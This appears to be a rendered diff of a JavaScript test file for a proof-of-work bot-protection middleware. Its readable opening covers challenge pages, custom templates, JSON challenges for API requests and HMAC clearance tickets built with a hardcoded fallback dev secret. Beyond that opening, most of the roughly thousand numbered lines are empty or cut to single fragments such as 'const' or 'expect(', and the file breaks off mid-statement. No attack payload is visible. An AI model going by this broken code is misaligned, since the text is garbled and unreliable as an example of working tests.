const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
517
|
-
let sentStatus, sentBody;
|
|
518
|
-
const res = {
|
|
519
|
-
status: (s) => { sentStatus = s; return res; },
|
|
520
|
-
send: (b) => { sentBody = b; },
|
|
521
|
-
cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
|
|
522
|
-
};
|
|
523
|
-
const next = vi.fn(() => { throw new Error('next() should not be called'); });
|
|
524
|
-
|
|
525
|
-
req.fingerprint = {};
|
|
526
|
-
await powMiddleware(securityConfig)(req, res, next);
|
|
527
|
-
|
|
528
|
-
expect(sentStatus, 'Status should be 404').toBe(404);
|
|
529
|
-
expect(sentBody, 'Should send a combined challenge page for medium suspicion').toContain('Enhanced Verification');
|
|
530
|
-
expect(sentBody, 'Challenge should be the combined CPU+Mem type').toContain('Initializing combined verification...');
|
|
531
|
-
});
|
|
532
|
-
|
|
533
|
-
test('should use a custom HTML template for the challenge page if provided', async () => {
|
|
534
|
-
const customTemplate = `
|
|
535
|
-
<!DOCTYPE html>
|
|
536
|
-
<html>
|
|
537
|
-
<head><title>Custom Verification</title></head>
|
|
538
|
-
<body>
|
|
539
|
-
<h1>Please wait, we are checking your browser.</h1>
|
|
540
|
-
<div id="custom-loader">Loading...</div>
|
|
541
|
-
<script><!-- FINGERPRINT_SOLVER_SCRIPT --></script>
|
|
542
|
-
<script><!-- FINGERPRINT_CHALLENGE_SCRIPT --></script>
|
|
543
|
-
<!-- FINGERPRINT_TRAPS -->
|
|
544
|
-
</body>
|
|
545
|
-
</html>`;
|
|
546
|
-
|
|
547
|
-
// Configure le mock de readFileSync pour retourner notre template
|
|
548
|
-
readFileSync.mockReturnValue(customTemplate);
|
|
549
|
-
|
|
550
|
-
const customSecurityConfig = {
|
|
551
|
-
...securityConfig,
|
|
552
|
-
challengePagePath: './path/to/custom-challenge-page.html',
|
|
553
|
-
};
|
|
554
|
-
|
|
555
|
-
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({ historyScore: 30 });
|
|
556
|
-
|
|
557
|
-
const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' }, rawHeaders: [], httpVersion: '1.1' };
|
|
558
|
-
let sentStatus, sentBody;
|
|
559
|
-
const res = { status: (s) => { sentStatus = s; return res; }, send: (b) => { sentBody = b; }, cookie: vi.fn() };
|
|
560
|
-
const next = vi.fn();
|
|
561
|
-
|
|
562
|
-
await powMiddleware(customSecurityConfig)(req, res, next);
|
|
563
|
-
|
|
564
|
-
expect(readFileSync).toHaveBeenCalledWith('./path/to/custom-challenge-page.html', 'utf-8');
|
|
565
|
-
expect(sentStatus).toBe(404);
|
|
566
|
-
expect(sentBody).toContain('<h1>Please wait, we are checking your browser.</h1>');
|
|
567
|
-
expect(sentBody).toContain('async function solve()'); // Vérifie que le script du challenge a été injecté
|
|
568
|
-
});
|
|
569
|
-
|
|
570
|
-
test('should issue a high-difficulty combined challenge for a high-suspicion request', async () => {
|
|
571
|
-
vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
|
|
572
|
-
return {
|
|
573
|
-
historyScore: 80, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
574
|
-
};
|
|
575
|
-
});
|
|
576
|
-
|
|
577
|
-
const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
578
|
-
let sentStatus, sentBody;
|
|
579
|
-
const res = {
|
|
580
|
-
status: (s) => { sentStatus = s; return res; },
|
|
581
|
-
send: (b) => { sentBody = b; },
|
|
582
|
-
cookie: vi.fn()
|
|
583
|
-
};
|
|
584
|
-
const next = vi.fn(() => { throw new Error('next() should not be called'); });
|
|
585
|
-
|
|
586
|
-
req.fingerprint = {};
|
|
587
|
-
await powMiddleware(securityConfig)(req, res, next);
|
|
588
|
-
|
|
589
|
-
expect(sentStatus, 'Status should be 404').toBe(404);
|
|
590
|
-
expect(sentBody, 'Should send a combined challenge page for high suspicion').toContain('Enhanced Verification');
|
|
591
|
-
});
|
|
592
|
-
|
|
593
|
-
test('should issue a JSON challenge for an API request', async () => {
|
|
594
|
-
// 1. Configure the middleware to identify API requests
|
|
595
|
-
const apiSecurityConfig = {
|
|
596
|
-
...securityConfig,
|
|
597
|
-
thresholds: {
|
|
598
|
-
...securityConfig.thresholds,
|
|
599
|
-
// Identifie toute requête acceptant du JSON comme une requête API
|
|
600
|
-
isApiRequest: (req) => req.headers.accept?.includes('application/json'),
|
|
601
|
-
}
|
|
602
|
-
};
|
|
603
|
-
|
|
604
|
-
// 2. Simulate a suspicion score
|
|
605
|
-
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
606
|
-
historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
607
|
-
});
|
|
608
|
-
|
|
609
|
-
// 3. Simuler une requête API (avec le header 'Accept')
|
|
610
|
-
const req = {
|
|
611
|
-
path: '/api/data', ip: '127.0.0.1', cookies: {}, query: {},
|
|
612
|
-
headers: { 'user-agent': 'test-ua', 'accept': 'application/json' },
|
|
613
|
-
rawHeaders: ['User-Agent', 'test-ua', 'Accept', 'application/json'], httpVersion: '1.1'
|
|
614
|
-
};
|
|
615
|
-
let sentStatus, sentBody;
|
|
616
|
-
const res = {
|
|
617
|
-
status: (s) => { sentStatus = s; return res; },
|
|
618
|
-
json: (b) => { sentBody = b; }, // Utiliser .json() pour les réponses API
|
|
619
|
-
cookie: vi.fn()
|
|
620
|
-
};
|
|
621
|
-
const next = vi.fn();
|
|
622
|
-
req.fingerprint = {}; // Initialize req.fingerprint
|
|
623
|
-
|
|
624
|
-
await powMiddleware(apiSecurityConfig)(req, res, next);
|
|
625
|
-
|
|
626
|
-
expect(sentStatus).toBe(404);
|
|
627
|
-
expect(sentBody.challenge.type).toBe('cpu_mem');
|
|
628
|
-
expect(sentBody.challenge).toHaveProperty('nonce');
|
|
629
|
-
expect(sentBody.challenge).toHaveProperty('cpuTarget');
|
|
630
|
-
});
|
|
631
|
-
|
|
632
|
-
test('should call next() for a suspicious request with a valid ticket', async () => {
|
|
633
|
-
vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
|
|
634
|
-
return {
|
|
635
|
-
historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
636
|
-
};
|
|
637
|
-
});
|
|
638
|
-
|
|
639
|
-
const ip = '127.0.0.1';
|
|
640
|
-
const expiry = Date.now() + 3600000;
|
|
641
|
-
const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
|
|
642
|
-
const validTicket = `${expiry}:${signature}`;
|
|
643
|
-
|
|
644
|
-
const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
645
|
-
const res = { cookie: vi.fn() };
|
|
646
|
-
const next = vi.fn();
|
|
647
|
-
|
|
648
|
-
req.fingerprint = {};
|
|
649
|
-
await powMiddleware(securityConfig)(req, res, next);
|
|
650
|
-
|
|
651
|
-
expect(next, 'next() should have been called for a request with a valid ticket').toHaveBeenCalled();
|
|
652
|
-
});
|
|
653
|
-
|
|
654
|
-
test('should
|
|
655
|
-
|
|
656
|
-
|
|
657
|
-
|
|
658
|
-
|
|
659
|
-
|
|
660
|
-
|
|
661
|
-
|
|
662
|
-
|
|
663
|
-
|
|
664
|
-
|
|
665
|
-
|
|
666
|
-
const
|
|
667
|
-
|
|
668
|
-
|
|
669
|
-
};
|
|
670
|
-
|
|
671
|
-
|
|
672
|
-
|
|
673
|
-
|
|
674
|
-
|
|
675
|
-
|
|
676
|
-
|
|
677
|
-
|
|
678
|
-
|
|
679
|
-
|
|
680
|
-
|
|
681
|
-
|
|
682
|
-
|
|
683
|
-
|
|
684
|
-
|
|
685
|
-
|
|
686
|
-
|
|
687
|
-
|
|
688
|
-
|
|
689
|
-
|
|
690
|
-
const
|
|
691
|
-
const
|
|
692
|
-
|
|
693
|
-
|
|
694
|
-
|
|
695
|
-
|
|
696
|
-
|
|
697
|
-
|
|
698
|
-
const
|
|
699
|
-
|
|
700
|
-
|
|
701
|
-
|
|
702
|
-
|
|
703
|
-
|
|
704
|
-
|
|
705
|
-
|
|
706
|
-
|
|
707
|
-
|
|
708
|
-
|
|
709
|
-
|
|
710
|
-
|
|
711
|
-
|
|
712
|
-
|
|
713
|
-
|
|
714
|
-
|
|
715
|
-
|
|
716
|
-
|
|
717
|
-
|
|
718
|
-
|
|
719
|
-
|
|
720
|
-
|
|
721
|
-
|
|
722
|
-
|
|
723
|
-
|
|
724
|
-
|
|
725
|
-
|
|
726
|
-
|
|
727
|
-
|
|
728
|
-
|
|
729
|
-
|
|
730
|
-
|
|
731
|
-
|
|
732
|
-
//
|
|
733
|
-
|
|
734
|
-
|
|
735
|
-
|
|
736
|
-
|
|
737
|
-
|
|
738
|
-
|
|
739
|
-
|
|
740
|
-
|
|
741
|
-
|
|
742
|
-
|
|
743
|
-
|
|
744
|
-
|
|
745
|
-
|
|
746
|
-
|
|
747
|
-
|
|
748
|
-
|
|
749
|
-
|
|
750
|
-
|
|
751
|
-
|
|
752
|
-
|
|
753
|
-
|
|
754
|
-
|
|
755
|
-
|
|
756
|
-
|
|
757
|
-
|
|
758
|
-
|
|
759
|
-
|
|
760
|
-
|
|
761
|
-
|
|
762
|
-
|
|
763
|
-
|
|
764
|
-
|
|
765
|
-
|
|
766
|
-
|
|
767
|
-
|
|
768
|
-
|
|
769
|
-
|
|
770
|
-
|
|
771
|
-
|
|
772
|
-
const
|
|
773
|
-
|
|
774
|
-
|
|
775
|
-
|
|
776
|
-
|
|
777
|
-
|
|
778
|
-
|
|
779
|
-
|
|
780
|
-
|
|
781
|
-
|
|
782
|
-
|
|
783
|
-
|
|
784
|
-
|
|
785
|
-
|
|
786
|
-
|
|
787
|
-
|
|
788
|
-
|
|
789
|
-
|
|
790
|
-
|
|
791
|
-
|
|
792
|
-
|
|
793
|
-
|
|
794
|
-
|
|
795
|
-
|
|
796
|
-
|
|
797
|
-
|
|
798
|
-
|
|
799
|
-
|
|
800
|
-
|
|
801
|
-
|
|
802
|
-
|
|
803
|
-
|
|
804
|
-
|
|
805
|
-
|
|
806
|
-
|
|
807
|
-
|
|
808
|
-
|
|
809
|
-
|
|
810
|
-
|
|
811
|
-
|
|
812
|
-
|
|
813
|
-
|
|
814
|
-
|
|
815
|
-
|
|
816
|
-
|
|
817
|
-
|
|
818
|
-
|
|
819
|
-
|
|
820
|
-
|
|
821
|
-
|
|
822
|
-
|
|
823
|
-
|
|
824
|
-
|
|
825
|
-
|
|
826
|
-
|
|
827
|
-
|
|
828
|
-
|
|
829
|
-
|
|
830
|
-
|
|
831
|
-
|
|
832
|
-
|
|
833
|
-
|
|
834
|
-
|
|
835
|
-
|
|
836
|
-
|
|
837
|
-
|
|
838
|
-
|
|
839
|
-
|
|
840
|
-
|
|
841
|
-
|
|
842
|
-
|
|
843
|
-
|
|
844
|
-
|
|
845
|
-
|
|
846
|
-
|
|
847
|
-
|
|
848
|
-
}
|
|
849
|
-
|
|
850
|
-
|
|
851
|
-
|
|
852
|
-
|
|
853
|
-
|
|
854
|
-
|
|
855
|
-
|
|
856
|
-
|
|
857
|
-
|
|
858
|
-
|
|
859
|
-
|
|
860
|
-
|
|
861
|
-
|
|
862
|
-
|
|
863
|
-
|
|
864
|
-
|
|
865
|
-
const
|
|
866
|
-
|
|
867
|
-
|
|
868
|
-
|
|
869
|
-
|
|
870
|
-
|
|
871
|
-
};
|
|
872
|
-
|
|
873
|
-
|
|
874
|
-
|
|
875
|
-
|
|
876
|
-
|
|
877
|
-
|
|
878
|
-
|
|
879
|
-
|
|
880
|
-
|
|
881
|
-
|
|
882
|
-
|
|
883
|
-
await
|
|
884
|
-
|
|
885
|
-
|
|
886
|
-
|
|
887
|
-
|
|
888
|
-
|
|
889
|
-
|
|
890
|
-
|
|
891
|
-
|
|
892
|
-
|
|
893
|
-
|
|
894
|
-
|
|
895
|
-
|
|
896
|
-
|
|
897
|
-
|
|
898
|
-
|
|
899
|
-
|
|
900
|
-
|
|
901
|
-
|
|
902
|
-
|
|
903
|
-
|
|
904
|
-
|
|
905
|
-
|
|
906
|
-
|
|
907
|
-
|
|
908
|
-
|
|
909
|
-
|
|
910
|
-
|
|
911
|
-
|
|
912
|
-
|
|
913
|
-
|
|
914
|
-
|
|
915
|
-
|
|
916
|
-
|
|
917
|
-
|
|
918
|
-
|
|
919
|
-
|
|
920
|
-
|
|
921
|
-
|
|
922
|
-
|
|
923
|
-
|
|
924
|
-
|
|
925
|
-
|
|
926
|
-
|
|
927
|
-
|
|
928
|
-
|
|
929
|
-
|
|
930
|
-
|
|
931
|
-
|
|
932
|
-
|
|
933
|
-
|
|
934
|
-
}
|
|
935
|
-
|
|
936
|
-
|
|
937
|
-
|
|
938
|
-
|
|
939
|
-
|
|
940
|
-
|
|
941
|
-
|
|
942
|
-
|
|
943
|
-
|
|
944
|
-
|
|
945
|
-
|
|
946
|
-
|
|
947
|
-
|
|
948
|
-
|
|
949
|
-
|
|
950
|
-
|
|
951
|
-
|
|
952
|
-
|
|
953
|
-
|
|
954
|
-
|
|
955
|
-
|
|
956
|
-
|
|
957
|
-
|
|
958
|
-
|
|
959
|
-
|
|
960
|
-
|
|
961
|
-
|
|
962
|
-
|
|
963
|
-
|
|
964
|
-
|
|
965
|
-
|
|
966
|
-
|
|
967
|
-
const
|
|
968
|
-
|
|
969
|
-
|
|
970
|
-
|
|
971
|
-
expect(
|
|
972
|
-
|
|
973
|
-
|
|
974
|
-
|
|
975
|
-
|
|
976
|
-
const
|
|
977
|
-
weights: { honeypotScore: 1.0 },
|
|
978
|
-
thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
|
|
979
|
-
honeypot: {
|
|
980
|
-
|
|
981
|
-
|
|
982
|
-
|
|
983
|
-
|
|
984
|
-
|
|
985
|
-
|
|
986
|
-
|
|
987
|
-
|
|
988
|
-
|
|
989
|
-
|
|
990
|
-
|
|
991
|
-
|
|
992
|
-
|
|
993
|
-
|
|
994
|
-
|
|
995
|
-
|
|
996
|
-
|
|
997
|
-
|
|
998
|
-
|
|
999
|
-
|
|
1000
|
-
|
|
1001
|
-
|
|
1002
|
-
|
|
1003
|
-
|
|
1004
|
-
|
|
1005
|
-
|
|
1006
|
-
|
|
1007
|
-
|
|
1008
|
-
|
|
1009
|
-
|
|
1010
|
-
|
|
1011
|
-
|
|
1012
|
-
|
|
1013
|
-
|
|
1014
|
-
|
|
1015
|
-
|
|
1016
|
-
|
|
1017
|
-
|
|
1018
|
-
|
|
1019
|
-
|
|
1020
|
-
|
|
1021
|
-
|
|
1022
|
-
|
|
1023
|
-
|
|
1024
|
-
|
|
1025
|
-
|
|
1026
|
-
|
|
1027
|
-
|
|
1028
|
-
|
|
1029
|
-
|
|
1030
|
-
|
|
1031
|
-
|
|
1032
|
-
|
|
1033
|
-
|
|
1034
|
-
|
|
1035
|
-
|
|
1036
|
-
|
|
1037
|
-
|
|
1038
|
-
|
|
1039
|
-
|
|
1040
|
-
|
|
1041
|
-
|
|
1042
|
-
|
|
1043
|
-
|
|
1044
|
-
|
|
1045
|
-
|
|
1046
|
-
|
|
1047
|
-
|
|
1048
|
-
|
|
1049
|
-
|
|
1050
|
-
|
|
1051
|
-
|
|
1052
|
-
|
|
1053
|
-
|
|
1054
|
-
|
|
1055
|
-
|
|
1056
|
-
|
|
1057
|
-
|
|
1058
|
-
|
|
1059
|
-
|
|
1060
|
-
|
|
1061
|
-
|
|
1062
|
-
|
|
1063
|
-
|
|
1064
|
-
|
|
1065
|
-
|
|
1066
|
-
//
|
|
1067
|
-
|
|
1068
|
-
|
|
1069
|
-
|
|
1070
|
-
|
|
1071
|
-
|
|
1072
|
-
|
|
1073
|
-
|
|
1074
|
-
|
|
1075
|
-
|
|
1076
|
-
|
|
1077
|
-
|
|
1078
|
-
|
|
1079
|
-
|
|
1080
|
-
|
|
1081
|
-
|
|
1082
|
-
|
|
1083
|
-
|
|
1084
|
-
|
|
1085
|
-
|
|
1086
|
-
|
|
1087
|
-
|
|
1088
|
-
|
|
1089
|
-
|
|
1090
|
-
|
|
1091
|
-
|
|
1092
|
-
|
|
1093
|
-
|
|
1094
|
-
|
|
1095
|
-
|
|
1096
|
-
|
|
1097
|
-
|
|
1098
|
-
|
|
1099
|
-
|
|
1100
|
-
|
|
1101
|
-
|
|
1102
|
-
|
|
1103
|
-
|
|
1104
|
-
|
|
1105
|
-
|
|
1106
|
-
|
|
1107
|
-
|
|
1108
|
-
|
|
1109
|
-
|
|
1110
|
-
|
|
1111
|
-
|
|
1112
|
-
|
|
1113
|
-
|
|
1114
|
-
|
|
1115
|
-
}
|
|
1116
|
-
|
|
1117
|
-
|
|
1118
|
-
|
|
1119
|
-
|
|
1120
|
-
|
|
1121
|
-
|
|
1122
|
-
|
|
1123
|
-
|
|
1124
|
-
//
|
|
1125
|
-
|
|
1126
|
-
|
|
1127
|
-
|
|
1128
|
-
|
|
1129
|
-
|
|
1130
|
-
|
|
1131
|
-
expect(
|
|
1132
|
-
|
|
1133
|
-
|
|
1134
|
-
|
|
1135
|
-
|
|
1136
|
-
|
|
1137
|
-
|
|
1138
|
-
|
|
1139
|
-
|
|
1140
|
-
|
|
1141
|
-
|
|
1142
|
-
|
|
1143
|
-
|
|
1144
|
-
|
|
1145
|
-
|
|
1146
|
-
|
|
1147
|
-
|
|
1148
|
-
|
|
1149
|
-
|
|
1150
|
-
|
|
1151
|
-
|
|
1152
|
-
|
|
1153
|
-
|
|
1154
|
-
|
|
1155
|
-
|
|
1156
|
-
|
|
1157
|
-
|
|
1158
|
-
|
|
1159
|
-
|
|
1160
|
-
|
|
1161
|
-
|
|
1162
|
-
|
|
1163
|
-
|
|
1164
|
-
|
|
1165
|
-
//
|
|
1166
|
-
|
|
1167
|
-
|
|
1168
|
-
|
|
1169
|
-
|
|
1170
|
-
|
|
1171
|
-
|
|
1172
|
-
|
|
1173
|
-
|
|
1174
|
-
|
|
1175
|
-
|
|
1176
|
-
|
|
1177
|
-
|
|
1178
|
-
|
|
1179
|
-
|
|
1180
|
-
|
|
1181
|
-
|
|
1182
|
-
|
|
1183
|
-
|
|
1184
|
-
|
|
1185
|
-
|
|
1186
|
-
|
|
1187
|
-
|
|
1188
|
-
|
|
1189
|
-
|
|
1190
|
-
|
|
1191
|
-
|
|
1192
|
-
|
|
1193
|
-
|
|
1194
|
-
|
|
1195
|
-
|
|
1196
|
-
|
|
1197
|
-
|
|
1198
|
-
|
|
1199
|
-
|
|
1200
|
-
|
|
1201
|
-
|
|
1202
|
-
|
|
1203
|
-
headers: { '
|
|
1204
|
-
|
|
1205
|
-
|
|
1206
|
-
|
|
1207
|
-
|
|
1208
|
-
|
|
1209
|
-
|
|
1210
|
-
|
|
1211
|
-
|
|
1212
|
-
|
|
1213
|
-
|
|
1214
|
-
const config = { detectInjections:
|
|
1215
|
-
expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(
|
|
1216
|
-
});
|
|
1217
|
-
|
|
1218
|
-
|
|
1219
|
-
|
|
1220
|
-
|
|
1221
|
-
|
|
1222
|
-
|
|
1223
|
-
|
|
1224
|
-
|
|
1225
|
-
|
|
1226
|
-
|
|
1227
|
-
|
|
1228
|
-
|
|
1229
|
-
|
|
1230
|
-
|
|
1231
|
-
|
|
1232
|
-
|
|
1233
|
-
|
|
1234
|
-
|
|
1235
|
-
|
|
1236
|
-
}
|
|
1237
|
-
|
|
1238
|
-
|
|
1239
|
-
|
|
1240
|
-
|
|
1241
|
-
|
|
1242
|
-
|
|
1243
|
-
|
|
1244
|
-
|
|
1245
|
-
|
|
1246
|
-
}
|
|
1247
|
-
|
|
1248
|
-
|
|
1249
|
-
|
|
1250
|
-
|
|
1251
|
-
|
|
1252
|
-
|
|
1253
|
-
|
|
1254
|
-
|
|
1255
|
-
|
|
1256
|
-
|
|
1257
|
-
|
|
1258
|
-
|
|
1259
|
-
|
|
1260
|
-
|
|
1261
|
-
|
|
1262
|
-
|
|
1263
|
-
|
|
1264
|
-
|
|
1265
|
-
|
|
1266
|
-
|
|
1267
|
-
|
|
1268
|
-
|
|
1269
|
-
|
|
1270
|
-
|
|
1271
|
-
|
|
1272
|
-
|
|
1273
|
-
|
|
1274
|
-
|
|
1275
|
-
|
|
1276
|
-
|
|
1277
|
-
|
|
1278
|
-
|
|
1279
|
-
|
|
1280
|
-
|
|
1281
|
-
|
|
1282
|
-
|
|
1283
|
-
|
|
1284
|
-
|
|
1285
|
-
|
|
1286
|
-
|
|
1287
|
-
|
|
1288
|
-
|
|
1289
|
-
|
|
1290
|
-
|
|
1291
|
-
|
|
1292
|
-
|
|
1293
|
-
|
|
1294
|
-
|
|
1295
|
-
|
|
1296
|
-
|
|
1297
|
-
|
|
1298
|
-
|
|
1299
|
-
|
|
1300
|
-
|
|
1301
|
-
|
|
1302
|
-
|
|
1303
|
-
|
|
1304
|
-
|
|
1305
|
-
|
|
1306
|
-
|
|
1307
|
-
};
|
|
1308
|
-
|
|
1309
|
-
|
|
1310
|
-
|
|
1311
|
-
|
|
1312
|
-
|
|
1313
|
-
|
|
1314
|
-
|
|
1315
|
-
|
|
1316
|
-
|
|
1317
|
-
|
|
1318
|
-
}
|
|
1319
|
-
|
|
1320
|
-
|
|
1321
|
-
|
|
1322
|
-
|
|
1323
|
-
|
|
1324
|
-
|
|
1325
|
-
|
|
1326
|
-
|
|
1327
|
-
|
|
1328
|
-
|
|
1329
|
-
|
|
1330
|
-
|
|
1331
|
-
|
|
1332
|
-
|
|
1333
|
-
|
|
1334
|
-
|
|
1335
|
-
|
|
1336
|
-
|
|
1337
|
-
|
|
1338
|
-
|
|
1339
|
-
}
|
|
1340
|
-
|
|
1341
|
-
|
|
1342
|
-
|
|
1343
|
-
|
|
1344
|
-
|
|
1345
|
-
|
|
1346
|
-
|
|
1347
|
-
|
|
1348
|
-
|
|
1349
|
-
|
|
1350
|
-
|
|
1351
|
-
|
|
1352
|
-
|
|
1353
|
-
|
|
1354
|
-
|
|
1355
|
-
|
|
1356
|
-
|
|
1357
|
-
|
|
1358
|
-
|
|
1359
|
-
|
|
1360
|
-
|
|
1361
|
-
|
|
1362
|
-
|
|
1363
|
-
|
|
1364
|
-
|
|
1365
|
-
|
|
1366
|
-
|
|
1367
|
-
|
|
1368
|
-
const
|
|
1369
|
-
|
|
1370
|
-
|
|
1371
|
-
|
|
1372
|
-
|
|
1373
|
-
|
|
1374
|
-
|
|
1375
|
-
|
|
1376
|
-
|
|
1377
|
-
|
|
1378
|
-
|
|
1379
|
-
|
|
1380
|
-
|
|
1381
|
-
|
|
1382
|
-
|
|
1383
|
-
|
|
1384
|
-
};
|
|
1385
|
-
|
|
1386
|
-
const
|
|
1387
|
-
|
|
1388
|
-
|
|
1389
|
-
|
|
1390
|
-
|
|
1391
|
-
|
|
1392
|
-
|
|
1393
|
-
|
|
1394
|
-
|
|
1395
|
-
|
|
1396
|
-
|
|
1397
|
-
|
|
1398
|
-
|
|
1399
|
-
|
|
1400
|
-
|
|
1401
|
-
|
|
1402
|
-
|
|
1403
|
-
|
|
1404
|
-
|
|
1405
|
-
|
|
1406
|
-
|
|
1407
|
-
const
|
|
1408
|
-
|
|
1409
|
-
|
|
1410
|
-
|
|
1411
|
-
|
|
1412
|
-
|
|
1413
|
-
|
|
1414
|
-
|
|
1415
|
-
|
|
1416
|
-
|
|
1417
|
-
|
|
1418
|
-
|
|
1419
|
-
|
|
1420
|
-
|
|
1421
|
-
|
|
1422
|
-
expect(
|
|
1423
|
-
});
|
|
1424
|
-
|
|
1425
|
-
|
|
1426
|
-
|
|
1427
|
-
|
|
1428
|
-
|
|
1429
|
-
|
|
1430
|
-
|
|
1431
|
-
|
|
1432
|
-
|
|
1433
|
-
|
|
1434
|
-
|
|
1435
|
-
});
|
|
1436
|
-
|
|
1437
|
-
it('should return a score of
|
|
1438
|
-
const context = { headers: {
|
|
1439
|
-
const { behaviorScore } = getBehaviorScore(context);
|
|
1440
|
-
expect(behaviorScore).toBe(
|
|
1441
|
-
});
|
|
1442
|
-
|
|
1443
|
-
|
|
1444
|
-
|
|
1445
|
-
|
|
1446
|
-
|
|
1447
|
-
|
|
1448
|
-
});
|
|
1449
|
-
|
|
1450
|
-
it('should return
|
|
1451
|
-
const
|
|
1452
|
-
const {
|
|
1453
|
-
|
|
1454
|
-
|
|
1455
|
-
|
|
1456
|
-
|
|
1457
|
-
|
|
1458
|
-
|
|
1459
|
-
|
|
1460
|
-
|
|
1461
|
-
|
|
1462
|
-
|
|
1463
|
-
};
|
|
1464
|
-
const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
|
|
1465
|
-
const {
|
|
1466
|
-
expect(
|
|
1467
|
-
});
|
|
1468
|
-
|
|
1469
|
-
it('should return a
|
|
1470
|
-
const
|
|
1471
|
-
|
|
1472
|
-
|
|
1473
|
-
|
|
1474
|
-
|
|
1475
|
-
|
|
1476
|
-
|
|
1477
|
-
|
|
1478
|
-
|
|
1479
|
-
|
|
1480
|
-
});
|
|
1481
|
-
|
|
1482
|
-
it('should return
|
|
1483
|
-
const
|
|
1484
|
-
|
|
1485
|
-
|
|
1486
|
-
|
|
1487
|
-
|
|
1488
|
-
|
|
1489
|
-
|
|
1490
|
-
|
|
1491
|
-
|
|
1492
|
-
|
|
1493
|
-
|
|
1494
|
-
|
|
1495
|
-
|
|
1496
|
-
|
|
1497
|
-
|
|
1498
|
-
|
|
1499
|
-
|
|
1500
|
-
|
|
1501
|
-
|
|
1502
|
-
|
|
1503
|
-
|
|
1504
|
-
|
|
1505
|
-
|
|
1506
|
-
|
|
1507
|
-
|
|
1508
|
-
|
|
1509
|
-
|
|
1510
|
-
|
|
1511
|
-
|
|
1512
|
-
|
|
1513
|
-
|
|
1514
|
-
|
|
1515
|
-
|
|
1516
|
-
|
|
1517
|
-
|
|
1518
|
-
|
|
1519
|
-
|
|
1520
|
-
|
|
1521
|
-
|
|
1522
|
-
|
|
1523
|
-
|
|
1524
|
-
|
|
1525
|
-
|
|
1526
|
-
|
|
1527
|
-
|
|
1528
|
-
|
|
1529
|
-
|
|
1530
|
-
|
|
1531
|
-
|
|
1532
|
-
|
|
1533
|
-
|
|
1534
|
-
|
|
1535
|
-
|
|
1536
|
-
|
|
1537
|
-
|
|
1538
|
-
|
|
1539
|
-
|
|
1540
|
-
|
|
1541
|
-
|
|
1542
|
-
|
|
1543
|
-
|
|
1544
|
-
|
|
1545
|
-
|
|
1546
|
-
|
|
1547
|
-
|
|
1548
|
-
|
|
1549
|
-
|
|
1550
|
-
|
|
1551
|
-
|
|
1552
|
-
|
|
1553
|
-
|
|
1554
|
-
|
|
1555
|
-
|
|
1556
|
-
|
|
1557
|
-
|
|
1558
|
-
|
|
1559
|
-
|
|
1560
|
-
|
|
1561
|
-
|
|
1562
|
-
|
|
1563
|
-
|
|
1564
|
-
|
|
1565
|
-
|
|
1566
|
-
|
|
1567
|
-
|
|
1568
|
-
|
|
1569
|
-
|
|
1570
|
-
|
|
1571
|
-
|
|
1572
|
-
|
|
1573
|
-
|
|
1574
|
-
|
|
1575
|
-
|
|
1576
|
-
|
|
1577
|
-
|
|
1578
|
-
vi.mocked(dns.
|
|
1579
|
-
|
|
1580
|
-
|
|
1581
|
-
|
|
1582
|
-
|
|
1583
|
-
|
|
1584
|
-
|
|
1585
|
-
|
|
1586
|
-
|
|
1587
|
-
expect(vi.mocked(dns.reverse)).
|
|
1588
|
-
expect(vi.mocked(dns.resolve)).
|
|
1589
|
-
});
|
|
1590
|
-
|
|
1591
|
-
test('should
|
|
1592
|
-
const
|
|
1593
|
-
const
|
|
1594
|
-
|
|
1595
|
-
|
|
1596
|
-
|
|
1597
|
-
|
|
1598
|
-
const
|
|
1599
|
-
|
|
1600
|
-
expect(
|
|
1601
|
-
|
|
1602
|
-
|
|
1603
|
-
|
|
1604
|
-
|
|
1605
|
-
|
|
1606
|
-
|
|
1607
|
-
|
|
1608
|
-
|
|
1609
|
-
|
|
1610
|
-
|
|
1611
|
-
|
|
1612
|
-
|
|
1613
|
-
|
|
1614
|
-
|
|
1615
|
-
|
|
1616
|
-
|
|
1617
|
-
|
|
1618
|
-
|
|
1619
|
-
|
|
1620
|
-
|
|
1621
|
-
|
|
1622
|
-
|
|
1623
|
-
|
|
1624
|
-
|
|
1625
|
-
|
|
1626
|
-
|
|
1627
|
-
|
|
1628
|
-
|
|
1629
|
-
|
|
1630
|
-
|
|
1631
|
-
|
|
1632
|
-
|
|
1633
|
-
|
|
1634
|
-
|
|
1635
|
-
|
|
1636
|
-
|
|
1637
|
-
|
|
1638
|
-
|
|
1639
|
-
|
|
1640
|
-
|
|
1641
|
-
|
|
1642
|
-
|
|
1643
|
-
//
|
|
1644
|
-
getTlsFingerprintMock.
|
|
1645
|
-
|
|
1646
|
-
|
|
1647
|
-
|
|
1648
|
-
|
|
1649
|
-
//
|
|
1650
|
-
|
|
1651
|
-
|
|
1652
|
-
|
|
1653
|
-
|
|
1654
|
-
|
|
1655
|
-
|
|
1656
|
-
|
|
1657
|
-
|
|
1658
|
-
|
|
1659
|
-
|
|
1660
|
-
|
|
1661
|
-
|
|
1662
|
-
|
|
1663
|
-
|
|
1664
|
-
|
|
1665
|
-
const context2 = { headers: { 'user-agent': '
|
|
1666
|
-
const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
|
|
1667
|
-
